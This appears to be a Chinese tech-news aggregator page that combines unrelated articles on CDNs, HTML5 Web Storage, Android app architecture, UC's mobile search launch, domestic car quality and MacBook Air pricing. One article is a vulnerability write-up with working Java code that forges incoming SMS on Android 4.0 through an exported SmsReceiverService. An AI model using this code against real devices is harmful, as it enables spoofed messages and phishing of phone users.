1 传统访问页面方式在这篇文章 What really happens when you navigate to a URL中,已经很清楚告诉我们页面究竟是如何在服务器和客户端之间传送的。简单来说就是:(1) 用户提交域名(2) 浏览器对域名解析,找不到对于的IP;再到操作系统,还是没有;再到路由器,再没有就到DNS服务器找(3) 最后找到对应的IP地址,向域名的服务主机发出数据访问请求(4) 服务器就返回页面的内容给客户端但是在这里的问题就是如果访问量很大的网站的话,比如新浪微博、facebook等大型网站,这样子的服务器肯定会被挤爆了,那怎么办呢?缓冲或者说是存储这种理念在冯·诺依曼提出之后就特别流行,确实,CDN也是采用缓存的理念2 CDN缓存后的网站的访问过程(1) 用户向浏览器提供要访问的域名;(2) 浏览器调用域名解析库对域名进行解析得到CNAME,再解析CNAME域名获取IP地址,在此过程中,使用的全局负载均衡DNS解析,如根据地理位置信息解析对应的IP地址,使得用户能就近访问;(3) 这次解析到只是CDN服务器的IP地址,浏览器获取这个IP地址就向CDN缓存发送请求;(4) CDN缓存服务器根据浏览器提供的要访问的域名,通过Cache内部专用DNS解析得到此域名的实际IP地址,再由缓存服务器向此实际IP地址提交访问请求,缓存服务器就好像是中间人那样子;(5) CDN缓存服务器获取内容后,一方面在本地存储,以便客户端下次访问;另外一方面就发送给客户端;(6) 客户端就把从CDN缓存服务器返回的内容显示,下次访问就直接访问CDN缓存服务器。其实从上面就好像我们的计算机要访问数据那样子,因为CPU的运算能力很快,快到内存根本跟不上。如果CPU每次运算一下就要去内存获取数据的话,那么计算机的效率太低了。这样子的话,我们设置缓存,能够缓冲两者速度不匹配而导致的效率问题。所以CPU要访问数据,先到缓存中找,找不到就去内存中找,然后在缓存中添加对应的数据,下次要访问改数据就直接到缓存中找就行了。

references

内容分发网络百度百科
作者:Monkind 发表于2014-4-29 22:08:12 原文链接
阅读:66 评论:0 查看评论

HTML5本地存储 Web Storage - 紫尘

$
0
0

Web Storage基本介绍

  HTML5 定义了本地存储规范 Web Storage , 提供了两种存储类型 API  sessionStorage 和 localStorage,二者的差异主要是数据的保存时长及数据的共享方式。

    localStorage 一直存储在本地,数据存储是永久的,除非用户或程序对其进行删除操作;

    sessionStorage在会话期内有效,数据在浏览器关闭后自动删除;

    localStorage是基于域的,任何在该域内的页面都可以访问, sessionStorage在保存它的窗口,和由当前窗口创建的新窗口有效,直到相关联的标签页关闭; 

  Web Storage其实是HTML4 中 cookies存储机制的一个改进版本,但是两种机制的功能又不相同:

    cookie在浏览器和服务器间来回传递, sessionStorage和localStorage不会;

    sessionStorage和localStorage的存储空间更大,有更多丰富易用的接口,各自独立的存储空间;

  请注意以上区别,前端面试中,只要问到 html5 相关 基本就这些。

浏览器的支持情况

  目前所有主流的浏览器都在一定程度上支持 HTML5 的 Web Storage特性。 由下图可以看出,基本上所有现代浏览器都已经支持 Web Storage。

  

  移动浏览器的情况更为乐观

  Android平台和 IOS 平台各自的浏览器都基本上支持 Web Storage 本地存储特性。 目前市场上的移动设备, 除了 android 手机和 iphone 手机外,越来越多的平板电脑面世,而且基本上依赖着两种平台。在移动端使用 Web Storage 我们几乎不需要考虑浏览器是否支持, 当然从代码的严谨来说,建议最好在使用前先检查浏览器是否支持

if (window.localStorage) {
// 浏览器支持 localStorage
}

if (window.sessionStorage) {
// 浏览器支持 sessionStorage
}

Web Storage API

interface Storage {
readonly attribute unsigned long length;
DOMString? key(unsigned long index);
getter DOMString getItem(DOMString key);
setter creator void setItem(DOMString key, DOMString value);
deleter void removeItem(DOMString key);
void clear();
};

  所谓DOMString: 一个UTF-16字符串,JavaScript正是使用了这种编码的字符串,所以 DOMString就等同是JavaScript中的 String.

  每个存储对象提供一个 key/value ( 键/值 ) 对列表, 被称为数据项。 key 可以是任意的字符串( 包括空字符串 ),value 也可以是任意的字符串。

  规范定义的接口提供了: 

  localStorage.length                          一个只读的 length属性。 可以知道 localStorage 中存储着多少条数据

  localStorage.setItem(key, val)          存储一条数据

  localStorage.getItem(key)                通过 key 获取该条数据

  localStorage.removeItem(key)          删除一条数据 

  localStorage.clear()                         清空所有 key/value 键值对 items

      

  Storage 只能存储key/value对,而且只支持字符串类型的数据, setItem() 方法传入的值都会自动转化为 string 类型。复合数据类型(Array Object)转化结果同 toString 方法。

   如果你想保存其它类型的数据,在保存的时候需要转化成字符串,在读取时,再转化回来;

  使用 localStorage 存储和读取 JSON 格式数据:

// 定义JSON格式字符串
var userData = {
name: "zichen",
age: "24",
sex: "男",
adress: "杭州"
}

// 存储 userData 数据
localStorage.setItem("userData", JSON.stringify(userData));

// 读取 userData 数据并赋值给变量
var newUserData = JSON.parse(localStorage.getItem("userData"));

console.log(newUserData);

// 删除 userData
localStorage.removeItem("userData");

  sessionStorage 浏览器支持情况同 localStorage , 属性和方法及使用方式也和 localStorage一致。

Storage 事件监听

  对 Storage 进行存取操作的同时,如果需进行监听,可以使用 HTML5 Web Storage API内置的事件监听器对数据进行监控, Storage中的数据有任何变动,Storage监听器都能捕获,接口定义:

interface StorageEvent : Event {
readonly attribute DOMString key;
readonly attribute DOMString? oldValue;
readonly attribute DOMString? newValue;
readonly attribute DOMString url;
readonly attribute Storage? storageArea;
};

  key 表示属性中的键名。

  oldValue 更新前的键值。

     newValue 数据更新后的键值。

  url 记录 Storage 事件发生时的源地址。

  StorageArea 指向事件监听对应的 Storage对象

  

  使用 w3c 标准事件注册方法 addEventListener 进行注册监听:

window.addEventListener(“storage”,
function(e) {
console.log(e)
},
true);

 

 

 


本文链接: HTML5本地存储 Web Storage,转载请注明。

健壮且可读的安卓架构设计

$
0
0

自接触Android以来,我一直在寻找一种比较健壮的开发方法。譬如避免在UI线程进行IO操作,防止重复的网络请求,对重要数据进行缓存并且准确的更新这些缓存等等。当然,代码结构也要保持尽量清晰。

本文并不是给你提供一个权威精准的解决方案,更多的是去探讨在灵活性、可读性和健壮性之间有着很好平衡的App的一种开发方式。

一些现有的解决方案

在Android的初期版本,许多人处理多任务时会选择 AsyncTask。大体上来说,AsyncTask非常难用,许多文章也提到了它的问题。后来,Honeycomb(3.0)引入了可配置性更好的 Loaders。到了2012年,基于Android Service的开源项目 Robospice问世,带来了新的解决方案, 这里介绍了 Robospice的工作原理。

Robospice 比起 AsyncTask 的确好太多了,但是依然存在一些问题。比如下面这段常见代码,通过Robospice在 Activity中发起一个请求的过程。你并不需要细读,只要有个大概的概念就好:

FollowersRequest request = new FollowersRequest(user);  
lastRequestCacheKey = request.createCacheKey();  
spiceManager.execute(request, lastRequestCacheKey,  
    DurationInMillis.ONE_MINUTE, 
    new RequestListener<FollowerList> {
      @Override
      public void onRequestFailure(SpiceException e) {
          // On success
      }

      @Override
      public void onRequestSuccess(FollowerList listFollowers) {
        // On failure
      }
    });

然后是请求的具体代码:

public class FollowersRequest extends SpringAndroidSpiceRequest<FollowerList> {  
  private String user;

  public FollowersRequest(String user) {
    super(FollowerList.class);
    this.user = user;
  }

  @Override
  public FollowerList loadDataFromNetwork() throws Exception {
    String url = format("https://api.github.com/users/%s/followers", user);
    return getRestTemplate().getForObject(url, FollowerList.class);
  }

  public String createCacheKey() {
      return "followers." + user;
  }
}

存在的问题

  1. 你需要为每个请求都做上述的处理,代码会显得很臃肿:

- 对于你的每种请求你都需要继承 SpiceRequest写一个特定的子类。
- 同样的,对于每种请求你都需要实现一个 RequestListener来监听。
- 如果你的缓存过期时间很短,用户就需要花较长时间等待你的每个请求结束。
- RequestListener持有了 Activity的隐式引用,那么是不是还需要内存泄露的问题。

综上,这并不是一个很好的解决方案。

五步,让程序简洁而健壮

在我开始开发 Candyshop的时候,我尝试了其他的方法。我试图通过混合一些拥有有趣特性的库来构造一个简单而健壮的解决方案。这是我用到的库的列表:
* AndroidAnnotations用来处理 后台任务EBean等等……
* Spring RestTemplate用来处理 REST(含状态传输)的网络请求,这个库和 AndroidAnnotations配合的非常好。
* SnappyDB这个库主要用来将一些 Java 对象缓存到本地文件中。
* EventBus通过 Event Bus 来解耦处理 App 内部组建间的通讯。

下图就是我将要详细讲解的整体架构:

article1_global_schema--2-

第一步 一个易于使用的缓存系统

你肯定会需要一个持久化的缓存系统,保持这个系统尽可能简单。

@EBean
public class Cache {  
    public static enum CacheKey { USER, CONTACTS, ... }

    public <T> T get(CacheKey key, Class<T> returnType) { ... }
    public void put(CacheKey key, Object value) { ... }
}

第二步 一个符合REST的Client

这里我通过下面的例子来说明。记得要确保你使用 REST API 放在同一个地方。

@Rest(rootUrl = "http://anything.com")
public interface CandyshopApi {

    @Get("/api/contacts/")
    ContactsWrapper fetchContacts();

    @Get("/api/user/")
    User fetchUser();

}

第三步 应用级的事件总线(Event Bus)

在程序最初的时候就初始化Event bus对象,然后应用的全局都可以访问到这个对象。在Android中, Application初始化是一个很好的时机。

public class CandyshopApplication extends Application {  
    public final static EventBus BUS = new EventBus();
    ...
}<pre class="brush: java; gutter: true; first-line: 1; highlight: []; html-script: false">

### 第四步 处理那些需要数据的Activity   
对于这一类的`Activity`,我的处理方式和Robospice非常类似,同样是基于`Service`解决。不同的是,我的`Service`并不是Android提供的那个,而是一个常规的单例对象。这个对象可以被App的各处访问到,具体的代码我们会在第五步进行讲解,在这一步,我们先看看这种处理`Activity`代码结构是怎么样的。因为,这一步可以看到的是__我们简化效果最强烈的部分!__    

<pre class="brush: java; gutter: true; first-line: 1; highlight: []; html-script: false">
@EActivity(R.layout.activity_main)
public class MainActivity extends Activity {

    // Inject the service
    @Bean protected AppService appService;

    // Once everything is loaded…
    @AfterViews public void afterViews() {
        // … request the user and his contacts (returns immediately)
        appService.getUser();
        appService.getContacts();
    }

    /*
        The result of the previous calls will
        come as events through the EventBus.
        We'll probably update the UI, so we
        need to use @UiThread.
    */

    @UiThread public void onEvent(UserFetchedEvent e) {
        ...
    }

    @UiThread public void onEvent(ContactsFetchedEvent e) {
        ...
    }

    // Register the activity in the event bus when it starts
    @Override protected void onStart() {
        super.onStart();
        BUS.register(this);
    }

    // Unregister it when it stops
    @Override protected void onStop() {
        super.onStop();
        BUS.unregister(this);
    }

}

一行代码完成对用户数据的请求,同样也只需要一行代码来解析请求所返回的数据。对于通讯录等其他数据也可以用一样的方式来处理,听起来不错吧!

第五步——单例版的后台服务

正如我在上一步说的那样,这里使用的 Service并不是Android提供的Service类。其实,一开始的时候,我考虑使用Android提供的 Services,不过最后还是放弃了,原因还是为了 简化。因为 Android提供的 Services通常情况下是为那些在没有 Activity展示情况下但还需要处理的操作提供服务的。另一种情况,你需要提供一些功能给其他的应用。这其实和我的需求并不完全相符,而且用单例来处理我的后台请求可以让我避免使用复杂的借口,譬如:ServiceConnection,Binder等等……
这一部分可以探讨的地方就多了。为了方便理解,我们从架构切入展示当 Activity调用 getUser()getContacts()的时候究竟发生了什么。

你可以把下图中每个 serial当作一个线程:

article1_serials--3-

正如你所看到的,这是我非常喜欢的模式。大部分情况下用户不需要等待,程序的视图会立刻被缓存数据填充。然后,当抓取到了服务端的最新数据,视图数据会被新数据替代掉。与此对应的是,你需要确保你的 Activity可以接受多次同样类型的数据。在构建 Activity的时候记住这一点就没有任何问题啦。
下面是一些示例代码:

// As I said, a simple class, with a singleton scope
@EBean(scope = EBean.Scope.Singleton)
public class AppService {

    // (Explained later)
    public static final String NETWORK = "NETWORK";
    public static final String CACHE = "CACHE";

    // Inject the cache (step 1)
    @Bean protected Cache cache;

    // Inject the rest client (step 2)
    @RestService protected CandyshopApi candyshopApi;

    // This is what the activity calls, it's public
    @Background(serial = CACHE)
    public void getContacts() {

        // Try to load the existing cache
        ContactsFetchedEvent cachedResult =
            cache.get(KEY_CONTACTS, ContactsFetchedEvent.class);

        // If there's something in cache, send the event
        if (cachedResult != null) BUS.post(cachedResult);

        // Then load from server, asynchronously
        getContactsAsync();
    }

    @Background(serial = NETWORK)
    private void getContactsAsync() {

        // Fetch the contacts (network access)
        ContactsWrapper contacts = candyshopApi.fetchContacts();

        // Create the resulting event
        ContactsFetchedEvent event = new ContactsFetchedEvent(contacts);

        // Store the event in cache (replace existing if any)
        cache.put(KEY_CONTACTS, event);

        // Post the event
        BUS.post(event);

    }

}

似乎每个请求之中的代码还是有点多!实际上,这是我为了更好说明才进行了展开。不难发现,这些请求都遵守了类似的模式,所以你可以很容易的构造一个 Helper 来简化他们。比如 getUser()可以是这样的:

    @Background(serial = CACHE)
    public void getUser() {
        postIfPresent(KEY_USER, UserFetchedEvent.class);
        getUserAsync();
    }

    @Background(serial = NETWORK)
    private void getUserAsync() {
        cacheThenPost(KEY_USER, new UserFetchedEvent(candyshopApi.fetchUser()));
    }

那么 serial是用来做什么的? 让我们看看文档是怎么说的:
> 默认情况下,所有 @Background的匿名方法都是并行执行的。但是如果两个方法使用了同样名字的 serial则会顺序运行在同一个线程中,一个接着一个执行。

虽然把网络请求放在一个线程中顺序执行可能会导致性能下降,但是这使得“先POST然后GET获得数据”的那类事务处理起来非常容易,这是个特性值得为此牺牲一些性能。退一步讲,如果你真的发现性能不可接受,还是可以很容易使用多个 serial来解决。现在版本的Candyshop中,我同时使用了四个不同的 serial

总结

这里描述的解决方案是我几个月前想到的很初级的一个想法。今天,我已经解决掉所有遇到的特殊情况,并且非常享受在这样的架构下开发。当然,这个方案中还有一些很棒的东西我想要和大家分享,比如:错误处理、缓存超时机制、POST请求、对无用操作的忽略,但是因为篇幅原因这里我就不继续讲述了。

那么,你是否也找到了能让你享受每天工作的框架?

健壮且可读的安卓架构设计,首发于 博客 - 伯乐在线

最能“憋”的互联网公司出炉:UC居然已经做了四年搜索

$
0
0

俞永福绝对是业内最能憋住的CEO之一了。就在刚才,UC在自己的十周年庆典上,“出人意料”地发布了旗下移动搜索业务品牌——神马,并且宣称这个业务他们已经“秘密”做了四年。

这样的事情在UC身上已经不是第一次发生了。2012年发布的手游平台九游,其实早在2009年就被UC全资收购了,生生憋了三年。根据CNNIC的数据,九游目前已经是国内仅次于腾讯的第二大手游下载平台。俞永福透露2015年UC九游给合作伙伴带去的全年分成将超过15亿人民币。

还有去年收购的应用分发平台PP助手,也是在团队完全整合完毕之后才宣布的消息。此前,游戏业内人士都知道,PP助手和91是iOS端的最大的游戏发行渠道。

再联想到俞永福提过的话,他们去年在投资并购方面花掉了超过20亿,估计还有许多水下部队藏在底下。神马肯定是其中相当有分量的一支,否则也不会特意拿到公司十周年这样的时间点来宣布。当然移动搜索业务本身的重要性也是摆在台面上的,看看场子里的玩家就知道了:百度、360、腾讯……

至于UC做神马的理由,以及能不能做成的关键,我认为必须从三方因素去考虑,包括UC自身、百度以及阿里巴巴。

UC:移动浏览器KEY PLAYER = 移动搜索KEY PLAYER?

这个公式已经不用再去过多佐证了。两年前,360搜索的故事大家都已经知道,靠的就是360浏览器产品线在PC端的强势,一夜之间就拿下了超过10%的份额。

这样的公式平移到移动端也会同样凑效。虽然业内这两年对手机浏览器前途的争议不少,但结果到最后所有大玩家还是在这个产品上做了相当大的投入——对于移动搜索来说,移动浏览器就真的是当之无愧的第一承载体,这点连微信也暂时做不到。

根据艾瑞咨询的《2013年中国手机浏览器行业分析报告》,UC浏览器的市场份额达到62.9%之多。UC的全球用户量也在今年突破了5亿。按照UC在移动浏览器端的强势,短期内成为移动搜索的KEY PLAYER对他们来说真的不算是太难的事。

另外,UC如果放着这么大的流量只是去做卖网址导航的生意,未免也太亏待自己了。所以从业务逻辑看,UC做移动搜索也算是顺利成章,而且是必须拿下的一道卡——流量变现,还有比搜索更高效的方式吗?别忘了,猎豹光是靠给其他搜索引擎导流分成的生意,就已经能做到去纳斯达克提交上市文件了。

百度:还能够一起玩耍吗?

UC和百度没能在一起,还是很可惜的,毕竟之前很长一段时间里,双方都是“亲密无间”的战友关系:百度依靠UC获得大把的移动端流量,而UC也能从百度获得客观的分成收入。用俞永福的话说:BAT三巨头中最了解的UC就是百度。这也进一步验证了上文提到的公式。

但目前这两者之间无疑就会走向竞争。作为PC时代中文搜索引擎的绝对王者,百度不可能坐视神马在移动搜索领域的崛起。事实上,从去年业内流传的并购谈判之后,百度就开始力推“手机百度”App了,用以摆脱对浏览器端导流的依赖(其实手机百度本身从产品上看也是一个浏览器)。根据UC官方话术称,神马品牌的确认也正好是在去年差不多同一时间。很显然,并购谈判破裂之后,两家互相之间都应该猜到对方会干什么了。

俞永福还是挺客气的,在神马发布时表示,未来希望还能与百度“良性互动”。不过相信他自己心里也清楚,这不会是一件容易的事情。短期内神马能够依靠UC浏览器的江湖地位先下一城,但看长远还是得真刀真枪地做好产品,才能抗得住百度的竞争。

顺便说一句,手机百度的官方数据,正好也是5亿。

阿里:上市前的最后一次等待?

前不久的一个传言是,阿里推迟了提交上市F-1文件的时间。但官方针对这个事件却没有做出任何回应,随后UC就在今天发布了神马,这不可能不让人浮想联翩。从UC官方公布的消息看,其股东阿里巴巴对于神马的支持可以说是不遗余力。

首先,采取了类似于腾讯与搜狗的合作方式,将公司原有的搜索团队(阿里云搜索)全部移交给UC进行整合。值得一提的是,这支团队的前身就是周鸿祎在担任雅虎中国总裁期间打造的“一搜”,也就是后来的中国雅虎搜索。

其次,阿里的电商、支付资源可能都会向神马深度开放,包括百度搜索爬虫多年触及不到的淘宝系商品店铺资源。

马云甚至以亲笔贺辞的形式公开力挺神马。很显然,对于这个时期的阿里巴巴来说,神马是一张好牌,绝对值得他们以延迟提交上市文件的代价来等待。虽然并不直接参与到这个业务的开发运营中,但UC股东这个身份对于急需各种概念进一步提升市值的阿里来说,倒也是足够了。

那么从这层意义上说,百度的直接竞争对手不只是神马那么简单,还有UC背后“饥饿”的阿里巴巴。

很显然,跟许多人的印象不太一样,但UC早已经不仅仅是一家单纯的手机浏览器公司了。百度一年前询价时,曾经对UC提出过20亿美元的估值,那个时候UC除了移动浏览器之外,露出水面的只有九游。但这一年之内,PP助手、PC浏览器、TV浏览器、马云入驻董事会、印度市场第一、5亿用户,一直到神马移动搜索这个大招……

现在多少能理解,为什么俞永福之前针对IPO的提问,始终强调“早婚不如晚婚”了。

本文系作者:王利阳(信公号:科技不吐不快(tucaokeji))投稿发布,转载请注明来源于人人都是产品经理并保留本文链接


微信号:woshipm,干货天天推荐,欢迎关注

国产汽车品牌,比如奇瑞,可以做出宝马、奔驰这样的国际品牌的品质吗?

$
0
0
@韦昌明邀请,看了几个答案,又是讲品牌啊,又是讲历史啊,还有讲LOGO啊,更有甚者还讲起了技术,得出结论国产品牌距离合资品牌有一定的差距,谁不知道有差距?拜托,诸位有没有好好看题?

题主问的问题是: 撇开成本、品牌因素,国产品牌有没有可能做出合资品牌的做工?极端点可以理解成:国产品牌不计成本,工艺能不能达到合资品牌的水平。

回答这个问题一定又会有很多愤青质疑说:人家资本主义发展汽车发展100年了,经验积累,市场开发,品牌口碑,你都没有办法超越。

你问他为什么不能超越?

他会让你去国外汽车公司看看,就能明白汽车差距。

我要是再问他去国外公司看什么,看哪些地方能看出差距?

他会说:你懂得...继而露一个谄媚的表情表示大家都心知肚明。

妈蛋,我懂个屁!!!!!!形而上,主观印象上的东西就这么根深蒂固么?能不能接点地气儿?

这个问题让 @徐舟回答更好。

国内品牌目前还做不出来奥迪宝马的做工,甚至大众的做工都很难。

很多朋友可能会想,为什么一汽-大众生产的品质不能用在一汽奔腾上?为什么华晨这么死乞白赖的宣称自己跟宝马【共线生产】。为什么都合资了,品质还会不一样?

这种共线生产不是指一条生产线,而是柔性共线。共线生产就是同一条生产线柔性的,可以组装多个型号汽车,共厂房、共工人而已。

制作工艺很多技术,国内水平还达不到,精密化等等国内机械加工制造距离国外存在一定差距。

同样的道理也就是说,大众的品质高不过奥迪,斯柯达的品质高不过大众,这都是用料以及工艺事先定好了的。

很多朋友会说,为什么一汽-大众的生产线不能生产奔腾,为什么长安福特的生产线不能生产长安汽车?

这存在利益关系,首先大众、福特不会让你用他的生产线,这是对自己品牌的保护,防止国产品牌冲击他们,而且技术壁垒也是要考虑的,其次就算我们要引进,他们也不一定卖,没有哪个合资品牌愿意培养一个对手。

很久之前,奇瑞用过很多原创的大众部件,后来让大众给禁止了,不能,不可以,不允许。

不过也有一个特例,长安铃木。虽然铃木是日本小厂,但人家也是国外品牌。铃木在国内卖的不好,生产能力喂不饱,所以长安铃木申请代加工长安汽车,这样长安汽车就有了合资品牌的做工水平。

总之,加工工艺和制作水平这里面存在很多专利技术,国外都机器人了,国内还是人工的,就算引进到国内由一个人操控机器,其采用的技术也是不同的。

国产品牌目前还做不到合资品牌的工艺水平,当然不排除有个别技术已经超过国外,但还没有到普及的程度。

恳请各位机械制造业的知友,批评指正。

— 完 —
本文作者: Dickies Gao

【知乎日报】 你都看到这啦,快来点我嘛 Σ(▼□▼メ)

此问题还有 32 个回答,查看全部。
延伸阅读:
奔驰 4MATIC、宝马 xDrive、奥迪 quattro 三大四驱技术/品牌相比各有什么优劣?
奔驰这几年在销量上被宝马、奥迪超越的原因有哪些?

Android系统的阿基里斯之踵:伪造短信篇

$
0
0

导读:Android系统的日益强大,但Android平台的安全问题一直是其“阿基里斯之踵”。据统计,2012 年有 79% 的恶意软件都寄生于 Andriod 之上,此数字比 2011 年更高出 12.3%。相较之下,iOS 平台内的恶意软件仅占总量的 0.7%,继续成为最安全的移动系统。 本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。 ‍‍

android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

原生android4.0系统中,Mms.apk的manifest有这样一段

  1. <service android:name=".transaction.SmsReceiverService"  android:exported="true" />

android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,  
        String body) {  
    byte[] pdu = null;  
    byte[] scBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD("0000000000");  
    byte[] senderBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD(sender);  
    int lsmcs = scBytes.length;  
    // 时间处理,包括年月日时分秒以及时区和夏令时  
    byte[] dateBytes = new byte[7];  
    Calendar calendar = new GregorianCalendar();  
    dateBytes[0] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.YEAR)));  
    dateBytes[1] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  
    dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.DAY_OF_MONTH)));  
    dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.HOUR_OF_DAY)));  
    dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.MINUTE)));  
    dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.SECOND)));  
    dateBytes[6] = SmsUtil  
            .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  
                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  
    try {  
        ByteArrayOutputStream bo = new ByteArrayOutputStream();  
        bo.write(lsmcs);// 短信服务中心长度  
        bo.write(scBytes);// 短信服务中心号码  
        bo.write(0x04);  
        bo.write((byte) sender.length());// 发送方号码长度  
        bo.write(senderBytes);// 发送方号码  
        bo.write(0x00);// 协议标示,00为普通GSM,点对点方式  
        try {  
            String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  
            Class<?> cReflectedNFCExtras = Class  
                    .forName(sReflectedClassName);  
            Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  
                    "stringToGsm7BitPacked", new Class[] { String.class });  
            stringToGsm7BitPacked.setAccessible(true);  
            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  
                    body);  
  
            bo.write(0x00); // encoding: 0 for default 7bit  
            bo.write(dateBytes);  
            bo.write(bodybytes);  
        } catch (Exception e) {  
            Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);  
            // 下面是UCS-2编码的处理,中文短信就需要用此种方式  
            bo.write(0x08); // encoding: 8 for UCS-2  
            bo.write(dateBytes);  
            bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的  
            // 源码具体位置在  
            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java  
        }  
  
        pdu = bo.toByteArray();  
    } catch (IOException e) {  
        Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);  
    }  
    // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!  
    Intent intent = new Intent();  
    intent.setClassName("com.android.mms",  
            "com.android.mms.transaction.SmsReceiverService");  
    intent.setAction("android.provider.Telephony.SMS_RECEIVED");  
    intent.putExtra("pdus", new Object[] { pdu });  
    intent.putExtra("format", "3gpp");  
    context.startService(intent);  
}  
  
public static byte reverseByte(byte b) {  
    return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);  
}

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

  1. // User Data (and length)  
    byte[] userData;  
    try {  
        if (encoding == ENCODING_7BIT) {  
            userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,  
                    languageTable, languageShiftTable);  
        } else { //assume UCS-2  
            try {  
                userData = encodeUCS2(message, header);  
            } catch(UnsupportedEncodingException uex) {  
                Log.e(LOG_TAG,  
                        "Implausible UnsupportedEncodingException ",  
                        uex);  
                return null;  
            }  
        }  
    } catch (EncodeException ex) {  
        // Encoding to the 7-bit alphabet failed. Let&#039;s see if we can  
        // send it as a UCS-2 encoded message  
        try {  
            userData = encodeUCS2(message, header);  
            encoding = ENCODING_16BIT;  
        } catch(UnsupportedEncodingException uex) {  
            Log.e(LOG_TAG,  
                    "Implausible UnsupportedEncodingException ",  
                    uex);  
            return null;  
        }  
    }

先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码


下面附上encodeUCS2代码

  1. /** 
     * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if 
     * necessary 
     *  
     * @return 
     * @throws UnsupportedEncodingException 
     */  
    public static byte[] encodeUCS2(String message, byte[] header)  
            throws UnsupportedEncodingException {  
        byte[] userData, textPart;  
        textPart = message.getBytes("utf-16be");  
      
        if (header != null) {  
            // Need 1 byte for UDHL  
            userData = new byte[header.length + textPart.length + 1];  
      
            userData[0] = (byte) header.length;  
            System.arraycopy(header, 0, userData, 1, header.length);  
            System.arraycopy(textPart, 0, userData, header.length + 1,  
                    textPart.length);  
        } else {  
            userData = textPart;  
        }  
        byte[] ret = new byte[userData.length + 1];  
        ret[0] = (byte) (userData.length & 0xff);  
        System.arraycopy(userData, 0, ret, 1, userData.length);  
        return ret;  
    }

现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……

 


另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.

这意味着什么呢?

之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃

这是时候,我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里

看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了

下面是一些相关内容

GSM 03.38 from Wikipedia

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!


MacBook Air降价800元 处理器小幅升级Retina继续无缘

$
0
0

等待苹果推出MacBook Air Retina的用户恐怕要失望了,近日苹果官网悄然更新了MBA产品线,新款Air仅对CPU主频进行了小幅升级,而并没有更换Retina高清屏。同时,新上架的Air的售价下降了100美元,国行版降价幅度高达800元人民币。

2014 版的MacBook Air与2013年6月发布的版本相比,i5处理器的主频从原来的1.3GHz提升至1.4GHz,可Turbo Boost至的主频也从原来的2.6GHz提升至2.7GHz,可能会带来更高的性能效率。另外一个重大的改变则是在价格方面,新版的Air美版售价下调 了100美元,英国版本则降价100英镑。美版11寸的Air起步价为899美元,国行版为6288元起;13寸的Air美版起步价为999美元,国行版 则为6988元人民币。降价后的MacBook Air进一步拉开了与2013年10月版的MacBook Pro Retina的价格差,用户可以根据自己的实际需要和合适价位进行选择。

今年MacBook Air只进行小幅升级的原因主要与英特尔的新一代Broadwell处理器的跳票有关。由于新一代酷睿芯片跳票至第三第四季度,加之现阶段Air在处理器 方面并不存在明显短板,在性能提升方面的空间并不大。此外,由于功耗比更加出色的下一代芯片解决方案仍未问世,以现阶段Haswell的能力,要支持 Retina屏幕的性能开销并维持2013版Air 12小时续航(13寸版本),仍存在一定的难度,因此苹果也选择了继续观望的态度。

中国视频网站如何进行审查

$
0
0
